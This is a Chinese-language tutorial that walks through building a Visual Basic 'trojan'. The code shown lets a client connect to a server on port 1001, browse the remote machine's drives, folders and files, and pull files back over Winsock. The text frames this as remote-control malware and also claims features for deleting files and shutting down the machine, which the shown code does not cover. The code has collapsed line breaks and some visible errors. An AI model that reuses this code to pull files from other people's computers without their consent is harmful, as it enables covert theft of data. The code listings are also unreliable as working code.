VB木马编程全程解析

mzpyljx

<div style="color: #000000; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff; margin: 8px;">     本木马程序可以实现对远程计算机的文件查看、文件提取、指定打开特定窗口、删除文件、控制开机、重启、关机等功能，下面让我来一步步讲解如何实现这些功能


首先运行服务端，并在1001号端口监听，其中winsock控件为数组控件，可以实现多连接操作，若不是数组控件，则只能实现一个连接操作
 
 
在Form_Load事件中对端口进行监听 
 
Private Sub Form_Load()On Error GoTo Form_Load_Error    intmax = 0    objTCP(intmax).LocalPort = 1001    objTCP(intmax).Listen Form_Load_Exit:    Exit SubForm_Load_Error:    MsgBox Err.Description, vbCritical, "Error!"    Exit SubEnd Sub 
 
 
在winsock控件中 对 ConnectionRequest 事件进行监听，没有一个新连接，就在内存中分配一个winsock控件，并用它接收连接请求，这样就实现了多连接的操作
 
 
Private Sub objTCP_ConnectionRequest(Index As Integer, ByVal requestID As Long)  On Error GoTo objTCP_ConnectionRequest_Error    If Index = 0 Then        intmax = intmax + 1        Load objTCP(intmax)    '将objTCP(1)加载到内存里        objTCP(intmax).Accept requestID '用objTCP（1）接收连接请求        objTCP(intmax).SendData Enum_Drives    End IfobjTCP_ConnectionRequest_Exit:    Exit SubobjTCP_ConnectionRequest_Error:    MsgBox Err.Description, vbCritical, "Error!"    Exit SubEnd Sub 
 上面调用了 Enum_Drivers 函数 ，枚举了服务端所有驱动器，并将返回的字符串发送到客户端
 
 下面看看Enum_Drivers 这个函数
 Public Function Enum_Drives() As String Dim strDrive    As String  Dim strMessage  As String  Dim intCnt      As Integer  Dim rtn As String strMessage = "|DRVS|" For intCnt = 65 To 86  '从A到V    strDrive = Chr(intCnt)    Select Case GetDriveType(strDrive + ":\")           Case DRIVE_REMOVABLE                rtn = "Floppy Drive"           Case DRIVE_FIXED                rtn = "Hard Drive"           Case DRIVE_REMOTE                rtn = "Network Drive"           Case DRIVE_CDROM                rtn = "CD-ROM Drive"           Case DRIVE_RAMDISK                rtn = "RAM Disk"           Case Else                rtn = ""    End Select        If rtn <> "" Then        strMessage = strMessage & strDrive & "," & GetDriveType(strDrive + ":\") & "|"  '返回这样的字符串 |DRVS|C,3|D,3|E,3|    End If   Next intCnt Enum_Drives = Mid$(strMessage, 1, Len(strMessage) - 1) End Function 通过调用Windows API函数——GetDriverType 返回类似 |DRVS|C,3|D,3|E,3| 这样的字符串
 我们将此字符串通过SendData 方法，发送给客户端。
 
下面让我们来看一下客户端如何处理
在请求连接的时候，给TreeView 控件增加一个根节点 
 
Private Sub objTCP_Connect()  On Error GoTo objTCP_Connect_Error          With frmMain            .tvTreeView.Nodes.Add , , "xxxROOTxxx", txtRemoteComputer.Text, "RC", "RC"            .tbToolbar.Buttons("DISCONNECT").Enabled = True            .tbToolbar.Buttons("CONNECT").Enabled = False        End With        Me.Visible = False      objTCP_Connect_Exit:    Exit Sub    objTCP_Connect_Error:    MsgBox Err.Description, vbCritical, "Remote Computer Explorer!"    Exit SubEnd Sub 
 
  在DataArrival事件中，对接收过来的字符串进行判断，看是否为|DRVS|开头，如果是，则进入 Populate_Tree_With_Drives
 
Private Sub objTCP_DataArrival(ByVal bytesTotal As Long)   Dim Strdata As String   objTCP.GetData Strdata, vbString         If InStr(1, Strdata, "|DRVS|") <> 0 Then        Populate_Tree_With_Drives Strdata, frmMain.tvTreeView        Exit Sub    End IfEnd Sub 
 下面看看Populate_Tree_With_Drives
 
Public Sub Populate_Tree_With_Drives(sDrives As String, objTV As TreeView)Dim objDriveCollection  As CollectionDim lLoop               As LongDim sDriveLetter        As StringDim iDriveType          As StringDim objSngDrive         As CollectionDim sImage              As String    sDrives = Mid$(sDrives, 7, Len(sDrives))      Set objDriveCollection = ParseString(sDrives, "|")            For lLoop = 1 To objDriveCollection.Count                        Set objSngDrive = ParseString(objDriveCollection.Item(lLoop), ",")                            With objSngDrive                sDriveLetter = .Item(1)                iDriveType = CInt(.Item(2))            End With                        Select Case iDriveType               Case DRIVE_REMOVABLE                    sImage = "FD"               Case DRIVE_FIXED                    sImage = "HD"               Case DRIVE_REMOTE                    sImage = "ND"               Case DRIVE_CDROM                    sImage = "CD"               Case DRIVE_RAMDISK                    sImage = "RAM Disk"               Case Else                    sImage = ""            End Select              objTV.Nodes.Add "xxxROOTxxx", tvwChild, sDriveLetter & ":\", sDriveLetter & ":\", sImage, sImage                 Next lLoopPopulate_Tree_With_Drives_Exit:    Exit SubPopulate_Tree_With_Drives_Error:    Err.Raise Err.Number, "Procedure: Populate_Tree_With_Drives" & vbCrLf & "Module: modParser"    Exit SubEnd Sub 
我们对|DRVS|C,3|D,3|E,3| 字符串进行解析 解析后包含在集合中objDriveCollection
包含 "c,3","d,3","e,3"  objSngDrive再对objDriveCollection 进行解析，解析后为 "c","3" ……
解析完毕之后加入TrewView控件中，这时候我们就可以看到下图所示的效果
 

 
如果我们点击硬盘，将弹出此硬盘下的所有文件，客户端代码如下
 
 
Private Sub tvTreeView_NodeClick(ByVal Node As ComctlLib.Node)    Dim sData As String    Me.MousePointer = vbHourglass    sData = "|FOLDERS|" & Node.Key    frmConnection.objTCP.SendData (sData)End Sub 
 如果我们点击的是C盘，那么将向服务器发送 "|FOLDERS|C:\"  这样的字符串
 
下面是服务端处理的代码
 
Private Sub objTCP_DataArrival(Index As Integer, ByVal bytesTotal As Long) Dim strData As String Dim iCommand As Integer Dim sData As String Dim lRet As Long objTCP(intmax).GetData strData    If InStr(1, strData, "|FOLDERS|") <> 0 Then        sData = Enum_Folders(Mid$(strData, 10, Len(strData)))        objTCP(intmax).SendData sData        DoEvents        Sleep (500)        sData = Enum_Files(Mid$(strData, 10, Len(strData)))        objTCP(intmax).SendData sData    End If     End Sub 
 我们可以看出 由调用了 Enum_Folders 和 Enum_Files 函数处理，并将此函数的返回值发回客户端 let us go to see
 
 
  Public Function Enum_Folders(sParentPath As String) As String  Dim strMessage  As String  Dim wfd As WIN32_FIND_DATA  Dim hFind As Long  strMessage = "|FOLDERS|"  sParentPath = NormalizePath(sParentPath)  hFind = FindFirstFile(sParentPath & vbAllFileSpec, wfd)  If (hFind <> INVALID_HANDLE_VALUE) Then    Do         If (wfd.dwFileAttributes And vbDirectory) Then        ' If not a  "." or ".." DOS subdir...        If (Asc(wfd.cFileName) <> vbAscDot) Then          strMessage = strMessage & sParentPath & "," & Mid$(wfd.cFileName, 1, InStr(wfd.cFileName, vbNullChar) - 1) & "|"        End If      End If    Loop While FindNextFile(hFind, wfd)    Call FindClose(hFind)  End If  Screen.MousePointer = vbDefault  Enum_Folders = Mid$(strMessage, 1, Len(strMessage) - 1End Function 
  Enum_Folders 主要功能是 获取驱动器下的所有文件夹名称，返回形如"|FOLDERS|c:\,Recycle.bin|c:\,360Download|"
 
 
  客户端接收到此字符串，调用Populate_Folders Strdata 进行处理
 
 
 
Private Sub objTCP_DataArrival(ByVal bytesTotal As Long)   Dim Strdata As String      objTCP.GetData Strdata, vbString    If InStr(1, Strdata, "|FOLDERS|") <> 0 Then        Populate_Folders Strdata, frmMain.tvTreeView        Exit Sub    End IfEnd Sub  
 
Public Function Populate_Folders(sFolderString As String, objTV As TreeView)On Error Resume NextDim objFolderCollection     As CollectionDim lLoop                   As LongDim sParentPath             As StringDim sFolder                 As StringDim objSngFolder            As CollectionDim sFolderList             As StringsFolderList = Mid$(sFolderString, 10, Len(sFolderString))Set objFolderCollection = ParseString(sFolderList, "|")    For lLoop = 1 To objFolderCollection.Count         Set objSngFolder = ParseString(objFolderCollection.Item(lLoop), ",")            With objSngFolder            sParentPath = .Item(1)            sFolder = .Item(2)        End With         With objTV.Nodes            If Len(sParentPath) > 4 Then                .Add Mid$(sParentPath, 1, Len(sParentPath) - 1), tvwChild, sParentPath & sFolder, sFolder, "CLOSED", "OPEN"            Else                .Add sParentPath, tvwChild, sParentPath & sFolder, sFolder, "CLOSED", "OPEN"            End If        End With    Next lLoopEnd Function  Populate_Folders 函数中 sFolderList 返回 "C:\,$Recycle.Bin,C:\,360Download"，把sFolderList 按照 ","进行解析 ，把结果保存到  objFileCollection 集合中，其中objSngFolder 集合中的元素类似 
  [C:\ , $Recycle.bin] ,最后在TreeView控件中增加相应的节点。效果如图所示
 
  
 
再来看看 Enum_Files 函数
 
Public Function Enum_Files(sParentPath As String) As String      Dim wfd As WIN32_FIND_DATA  Dim hFind As Long  Dim strString As String  Dim sFileName As String  strString = "|FILES|" sParentPath = NormalizePath(sParentPath)    hFind = FindFirstFile(sParentPath & "\" & vbAllFileSpec, wfd)  If (hFind <> INVALID_HANDLE_VALUE) Then      Do       sFileName = left$(wfd.cFileName, InStr(fd.cFileName, vbNullChar) - 1)      If sFileName <> "." And sFileName <> ".." Then        If wfd.dwFileAttributes <> vbDirectory Then         strString = strString & sParentPath & left$(wfd.cFileName, InStr(wfd.cFileName, vbNullChar) - 1) & "|" & FileLen(sParentPath & wfd.cFileName) & ","        End If      End If    Loop While FindNextFile(hFind, wfd)    Call FindClose(hFind)  End If    If strString <> "|FILES|" Then         Enum_Files = Mid$(strString, 1, Len(strString) - 1)    Else         Enum_Files = strString    End IfEnd Function 
 上面函数的主要功能是 调用Windows API 函数 FindFirstFile 传递参数 c:\\*.*  ，返回 c:\   目录下第一个文件，并把结果保存到 WIN32_FIND_DATA 结构体wfd 变量中
 然后去除空字符，FindNextFile 循环下一个文件，把符合条件的文件拼接成字符串结果如下所示  "|FILES|C:\$Recycle.Bin|0,C:\.rnd|1024,C:\autoexec.bat|24" 
 最后将这个字符串返回，并发往客户端。
 
客户端接收到请求，调用 Populate_Files 处理
 
Private Sub objTCP_DataArrival(ByVal bytesTotal As Long)   Dim Strdata As String      objTCP.GetData Strdata, vbString    If InStr(1, Strdata, "|FILES|") <> 0 Then        Populate_Files Strdata, frmMain.lvFiles        frmMain.MousePointer = vbDefault        Exit Sub    End IfEnd Sub 
Public Sub Populate_Files(sString As String, objLV As ListView)On Error Resume NextDim objFileCollection       As CollectionDim lLoop                   As LongDim sParentPath             As StringDim sFile                   As StringDim objSngFile              As CollectionDim sFileList               As StringDim objPartCollection       As Collection    sFileList = Mid$(sString, 8, Len(sString))     frmMain.lvFiles.ListItems.Clear     DoEvents    Set objFileCollection = ParseString(sFileList, ",")         With objFileCollection            For lLoop = 1 To .Count              If Len(Trim(.Item(lLoop))) <> 0 Then                Set objPartCollection = ParseString(.Item(lLoop), "|")                objLV.ListItems.Add , objPartCollection(1), Get_File_Name(objPartCollection(1)), "FILE", "FILE"                objLV.ListItems(objPartCollection(1)).SubItems(1) = objPartCollection(2)              End If            Next lLoop        End WithEnd Sub 
 Populate_Files 函数中 sFileList  返回 "C:\$Recycle.Bin|0,C:\.rnd|1024,C:\autoexec.bat|24" 然后把ListView控件清空，把sFileList按照 ","进行解析 ，把结果保存到  objFileCollection 集合中，其中objFileCollection 集合中的元素类似
[C:\$Recycle.Bin|0,C:\.rnd|1024,C:\autoexec.bat|24] ，然后循环遍历这个集合，再按"|"进行解析，把结果保存到objPartCollection 这个集合中 ，最后在istView控件控件中把 文件名和文件大小显示出来，效果如图所示
其中文件夹的文件大小为0

 
 
 
选中一个文件，当点击工具栏按钮的保存图标时，执行下面的函数
 
 
Private Sub tbToolBar_ButtonClick(ByVal Button As ComctlLib.Button)Dim iResult As Integer    Select Case Button.Key     Case "DOWNLOAD" 'Starts a download                      If frmConnection.objTCP.State <> 7 Then                MsgBox "No connection established!", vbInformation, "Remote File Explorer"                Exit Sub            End If                        With objCommonDialog                .DialogTitle = "Save remote file to:"                .FileName = Me.lvFiles.SelectedItem.Text                .ShowSave                            If Len(Dir(.FileName)) <> 0 Then                    iResult = MsgBox(.FileName & " exists! Do you wish to overwrite this file?", vbQuestion + vbYesNoCancel, "Remote File Explorer")                    If iResult = vbNo Then                        Exit Sub                    End If                                    End If                Open .FileName For Binary As #1             End With             bFileTransfer = True            frmConnection.objTCP.SendData "|GETFILE|" & lvFiles.SelectedItem.Key            frmDownloading.lblFIleName = lvFiles.SelectedItem.Text            frmDownloading.Show , Me  
首先判断连接是否关闭，如果没有关闭，显示一个保存为对话框，标题为"Save remote file to:" ，文件名为选中的ListView列表中的文本
设置文件传输标志为True

如果本地存在文件，那么提示是否覆盖它，然后在本地创建这个文件，往服务器发送请求字符串，例如："|GETFILE|d:\debug.zip"
 
接下来我们看看服务端怎么处理
 
Private Sub objTCP_DataArrival(Index As Integer, ByVal bytesTotal As Long)  Dim strData As String  Dim iCommand As Integer  Dim sData As String  Dim lRet As Long  objTCP(intmax).GetData strData If InStr(1, strData, "|GETFILE|") <> 0 Then          SendFile Mid$(strData, 10, Len(strData)), objTCP(intmax)          objTCP(intmax).SendData "|COMPLETE|" End IfEnd Sub 
 服务端调用SendFile 函数发送数据
 
Public Sub SendFile(FileName As String, WinS As Winsock) Dim FreeF As Integer Dim LenFile As Long Dim nCnt As Long Dim LocData As String Dim LoopTimes As Long Dim i As Long FreeF = FreeFile Open FileName For Binary As #99 nCnt = 1 LenFile = LOF(99） WinS.SendData "|FILESIZE|" & LenFile DoEvents Sleep (400) Do Until nCnt >= (LenFile)    LocData = Space$(1024) 'Set size of chunks  Get #99, nCnt, LocData 'Get data from the file nCnt is from where to start the get    If nCnt + 1024 > LenFile Then      WinS.SendData Mid$(LocData, 1, (LenFile - nCnt))  Else     WinS.SendData LocData 'Send the chunk  End If  nCnt = nCnt + 1024LoopClose #99End Sub 
 我们看到，先发送一个像"|FILESIZE|47052"的字符串给服务器，然后打开客户端选中的文件，每次发送1024字节的数据给客户端
 
接下来我们看客户端如何处理
 
Private Sub objTCP_DataArrival(ByVal bytesTotal As Long)Dim Strdata As String  objTCP.GetData Strdata, vbString If bFileTransfer = True Then                If InStr(1, Strdata, "|FILESIZE|") <> 0 Then            frmDownloading.lblBytes.Caption = CLng(Mid$(Strdata, 11, Len(Strdata)))            frmDownloading.objProg.Max = CLng(Mid$(Strdata, 11, Len(Strdata)))            Exit Sub        End If                Put #1, , Strdata        With frmDownloading.objProg            If (.Value + Len(Strdata)) <= .Max Then                .Value = .Value + Len(Strdata)            Else                .Value = .Max                DoEvents            End If        End With            End If<div style="color: #000000; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff; margin: 8px;"> 可以看到，当接收到了|FILESIZE|字符串的数据时，设置download对话框的进度条相应的显示，把接收到的字节数据保存在上面打开的文件1中，同时更新进度条显示